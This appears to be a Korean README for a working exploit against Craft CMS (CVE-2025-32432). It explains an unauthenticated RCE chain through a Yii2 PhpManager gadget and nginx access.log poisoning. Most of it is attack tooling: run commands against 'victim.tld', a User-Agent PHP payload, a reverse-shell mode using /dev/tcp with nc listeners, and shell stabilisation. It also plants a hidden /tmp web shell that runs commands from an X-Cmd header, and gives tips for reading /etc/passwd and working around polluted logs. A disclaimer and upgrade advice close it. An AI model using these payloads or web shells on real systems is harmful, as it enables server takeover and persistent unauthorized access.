
CVE-2025-32432에 대한 동작 PoC - Yii2 PhpManager 가젯 + nginx access.log 포이즈닝을 통한 Craft CMS <= 5.6.16 비인증 RCE
CVE-2025-32432에 대한 동작하는 개념 증명(PoC)으로, Craft CMS 5.6.16 이하 버전에 영향을 주는 무인증 원격 코드 실행(RCE) 취약점입니다 (동등한 코드 경로의 4.x 및 3.x 트리에도 영향을 줍니다).
검색 키워드: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit,
Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior,
nginx log poisoning Craft, unauth RCE craftcms 2025.
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'
기본 모드는 vanilla Craft CMS 설치를 대상으로 합니다. --lab 플래그는
hacklab-platform 프로젝트의
carangueijada-20 챌린지를 위해 포함되어 있으며, 해당 챌린지는 Craft를
사용자 정의 세션 쿠키 뒤에서 보호합니다.
영향받는 구성 요소: craft\controllers\AssetsController::actionGenerateTransform.
이 액션은 allowAnonymous로 등록되어 있어 인증이 필요하지 않습니다.
POST 매개변수 handle을 받아 이를 Craft::createObject() 호출에
전개(spread) 합니다:
$transform = Craft::createObject([
'class' => ImageTransform::class,
...$handle,
]);
공격자가 제어하는 $handle이 연관 배열인 경우, 전개는 생성자 구성에
임의의 키를 주입합니다. 특히 as 로 시작하는 키는
yii\base\Component::__set에 의해 동작(behavior) 첨부로 해석되며,
타입 검사가 이루어지기 전에 값에 대해 Yii::createObject($config)를
호출합니다:
elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
$this->attachBehavior(
$name,
$value instanceof Behavior ? $value : Yii::createObject($value),
);
return;
}
Yii2 2.0.50의 수정은 이 분기를 보호하는
is_subclass_of($value['class'], Behavior::class) 검사를 추가했습니다.
취약한 설치 환경(Yii2 <= 2.0.49, 또는 이전 패치로 검사가 제거된 환경)은
이 보호를 완전히 건너뜁니다.
yii\rbac\PhpManagerPhpManager는 Yii2의 기본 클래스입니다. init()은 load()를 호출하고,
load()는 loadFromFile($this->itemFile)을 호출합니다. loadFromFile은
문자 그대로 다음과 같습니다:
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}
require는 디스크의 모든 파일을 PHP로 파싱합니다. 파일에 <?php ... ?>
블록이 포함되어 있으면 해당 블록이 워커에서 실행됩니다. itemFile을
공격자가 내용을 제어하는 파일로 지정하면 완전한 RCE가
달성됩니다.
access.log설치 환경을 가리지 않고 신뢰할 수 있는 싱크는 nginx 결합 형식(combined
format)의 access.log입니다. 이 로그는 요청의 User-Agent를 비출력 문자와
대부분의 문장 부호를 포함하여 있는 그대로 기록합니다. 공격자는
User-Agent가 <?php system('id'); exit; ?>인 요청을 보내 알려진 경로에
PHP 블록을 심습니다. 그런 다음 itemFile을
/var/log/nginx/access.log로 지정하면 require가 로그를 파싱하여 모든
<?php ... ?> 블록을 순서대로 실행합니다.
두 가지 세부 사항이 중요합니다:
"를
\x22로 이스케이프하며, 이로 인해 해당 줄의 PHP 파싱이 깨집니다.
작은따옴표 또는 chr() 연결을 사용하세요.exit;을 추가하여 require가 다른 잘못된 페이로드를 포함할 수
있는 이후 로그 줄을 파싱하기 전에 중단되도록 하십시오.| 구성 요소 | 취약 버전 | 패치 버전 |
|---|---|---|
| Craft CMS | <= 5.6.16 | 5.6.17 |
| Craft CMS | <= 4.15.2 | 4.15.3 |
| Craft CMS | <= 3.9.14 | 3.9.15 |
| Yii2 | <= 2.0.49 | 2.0.50 |
Craft 5.6.17은 변환기(transformer) 클래스에 ImageTransformerInterface
검사를 추가합니다. Yii2 2.0.50은 Component::__set에 Behavior 하위
클래스 검사를 추가합니다. 두 수정 중 하나만으로도 이 정확한 가젯 체인을
차단합니다.
requests 라이브러리 (pip install -r requirements.txt)assetId. 기본값은 2이며, 필요한 경우
-a <id>로 재정의합니다 (asset id 1은 보통 관리자 아바타입니다).python3 exploit.py -u http://victim.tld -c 'id'
python3 exploit.py -u http://victim.tld -p /cms -c 'id'
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'
itemFile (다른 로그 경로, FPM 세션 등)python3 exploit.py -u http://victim.tld \
-i /var/log/apache2/access.log \
-c 'id'
hacklab-platform의
carangueijada-20 랩은 PATCH /login이 발급하는 coopsess 쿠키 뒤에서
Craft 설치를 보호합니다. --lab 플래그가 이 핸드셰이크를 자동으로
처리합니다.
python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
-c 'id; uname -a'
www.carangueijada.coop이 랩 IP로 해석되는지 확인하십시오 (필요 시
/etc/hosts에 추가).
--revshell 플래그는
bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 커넥트백을 실행하며, 가젯
POST가 즉시 반환되도록 백그라운드로 실행됩니다.
2-터미널 방식 (가장 안정적):
# 터미널 1 - 사용자 머신에서 리스너 실행
nc -lvnp 4444
# 터미널 2 - 익스플로잇 실행
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444
내장 리스너를 사용한 1-터미널 방식:
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444 \
--auto-listen
--auto-listen은 페이로드를 발사하기 전에 같은 터미널에서
nc -lvnp <lport>를 실행합니다. 작업이 끝나면 Ctrl+C로 종료합니다.
샘플 세션 (랩):
$ python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
--revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*] coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*] HTTP 200
[*] Reverse shell fired.
# 리스너에서:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$
셸 안정화 (연결 후 리버스 셸 내부에서 실행):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z로 nc를 백그라운드로 전환
stty raw -echo; fg
# Enter 두 번 입력
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200
첫 실행에서 익스플로잇은 access.log를 한 번 오염시켜
/tmp/.cve32432_w.php에 숨겨진 PHP 래퍼를 생성합니다. 래퍼는 X-Cmd
HTTP 헤더를 읽고 system($_SERVER['HTTP_X_CMD'])를 실행합니다.
이후의 모든 전달은 itemFile을 래퍼 파일로 지정하고 헤더를 통해
명령을 전달합니다. 더 이상 로그 중독(poisoning)도, 로그 폴리루션도,
"첫 <?php exit; 블록이 이긴다"는 실패도 없습니다.
재생성을 강제하려면 대상에서 /tmp/.cve32432_w.php를 삭제하십시오
(래퍼 자체를 통해 수행할 수 있습니다: --cmd 'rm /tmp/.cve32432_w.php').
새 대상에 대한 성공적인 실행:
[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*] CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*] poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*] HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux
오염된 로그 폴백 (대상이 이전에 이미 익스플로잇된 적이 있어 이전 페이로드가 먼저 종료되는 경우):
[!] Markers not found; log appears polluted by older poison.
[!] Falling back to tail-of-body extraction. Output below comes
[!] from the FIRST <?php block in the log (likely an old payload).
--- fallback output (may be stale) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
POST /actions/assets/generate-transform이
AssetsController::actionGenerateTransform에 도달합니다.$config = ['class' => ImageTransform::class, ...$handle]를
구성합니다. 우리의 handle[as gadget]은 전개 과정에서 살아남습니다.Craft::createObject($config)는
Yii::$container->get(ImageTransform::class, [], $config)를 호출하며,
이는 ImageTransform을 인스턴스화하고 남은 각 구성 키를
$transform->{$key} = $value로 기록합니다.as gadget에 도달하면 Component::__set이 as 접두사를
매칭하여 Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log'])를
호출합니다.Yii::createObject는 PhpManager를 생성하고 __construct()를 실행한
다음 init()을 실행합니다.PhpManager::init() -> load() -> loadFromFile($this->itemFile)
-> require '/var/log/nginx/access.log'.<?php ... ?> 블록은 워커에서
실행됩니다.system($cmd)와 exit;을 실행합니다. 출력은
<?php 블록이 텍스트상 위치했던 응답 본문에 나타납니다.| 증상 | 원인 | 해결 방법 |
|---|---|---|
HTTP 400 + "could not verify your data submission" / "Pedido invalido" | CSRF 토큰이 POST에 사용된 쿠키에 바인딩되지 않음 | 스크립트는 단일 requests.Session을 사용합니다. 직접 재구현하는 경우, 쿠키 jar가 session-info와 POST 사이에서 CRAFT_CSRF_TOKEN을 유지하는지 확인하세요. |
HTTP 403 on /actions/... | 경로 접두사 또는 vhost가 잘못됨 | -p /prefix를 사용하여 Craft가 마운트된 위치와 일치시키고 Host 헤더가 설치와 일치하는지 확인하세요. |
csrfTokenValue 비어 있음 / session-info가 HTML을 반환 | 잘못된 Accept 헤더 | 스크립트는 이미 Accept: application/json을 전송합니다. 패치로 제거했다면 복원하세요. |
| 출력에 명령 결과가 표시되지 않음 | access.log에 먼저 실행되는 이전 <?php ... exit; ?> 페이로드가 이미 존재 | 대상에서 로그를 로테이션/잘라내기하세요. id 수준의 RCE만 있다면 다음 logrotate를 기다리거나, 쓰기 가능한 PHP 파일(예: system($_SERVER['HTTP_X_CMD']);가 포함된 /tmp/wrapper.php)로 피벗한 뒤 이후 itemFile로 사용하세요. |
assetId not found | 해당 설치에 잘못된 ID | 공개 asset URL을 탐색하여 ID를 열거하거나 -a 1을 먼저 시도한 뒤 -a 3..N을 시도하세요. |
| 패치된 대상 | Craft >= 5.6.17 또는 Yii2 >= 2.0.50 | 체인이 차단되었습니다. 다른 취약한 클래스를 찾거나 넘어가세요. |
| 페이로드가 PHP 치명적 오류(fatal)를 유발함 | 이전 로그 항목에 잘못된 PHP가 포함되어 블록 이전에 파서를 깨뜨림 | 오염된 로그 해결 방법과 동일: 로그를 로테이션하세요. |
id만 안정적으로 실행할 수 있는 경우(이전 exit; 오염이 체인을
고정했기 때문에), 실행 가능한 피벗 방법 하나는 그 단일 id 수준의
명령으로 사용자가 제어하는 경로에 PHP 래퍼를 쓰게 만든 뒤, 이후
모든 요청에서 itemFile을 해당 경로로 변경하는 것입니다:
# /tmp/w.php를 www-data 권한으로 떨어뜨리는 명령으로 1회성 오염(poison) 수행
WRAPPER='<?php system($_SERVER["HTTP_X_CMD"]);exit;?>'
B64=$(printf %s "$WRAPPER" | base64 -w0)
CMD="echo $B64|base64 -d > /tmp/w.php"
# CMD를 chr()로 인코딩 ...
그런 다음 실행:
python3 exploit.py -u http://victim.tld \
-i /tmp/w.php \
-c 'whoami'
이후의 모든 전달은 /tmp/w.php(페이로드 앞에 아무것도 없는 깨끗한 PHP
파일)를 읽고 X-Cmd 헤더의 명령을 실행합니다. 이 기능을 내장 모드로
원한다면 스크립트를 수정하세요.
.
├── exploit.py # PoC
├── README.md # 이 파일
├── requirements.txt # Python 의존성 (`requests`만)
└── LICENSE # MIT
Component.php (취약한 리비전): https://github.com/yiisoft/yii2/blob/2.0.49/framework/base/Component.php이 개념 증명(PoC)은 방어 연구, 교육 목적, 그리고 승인된 침투 테스트만을 위해 공개되었습니다. 소유하지 않았거나 서면 승인 없이 테스트하는 시스템에 이를 실행하는 것은 대부분의 관할권에서 불법입니다. 작성자는 오용에 대한 어떠한 책임도 지지 않습니다.
Craft CMS 설치를 운영 중이라면 5.6.17 이상으로 업그레이드하십시오 (또는 해당 4.x / 3.x 패치 릴리스). 이 취약점은 사소하게 익스플로잇할 수 있으며 SensePost가 문서화한 실전 캠페인에서 사용되었습니다.
MIT. LICENSE 참조.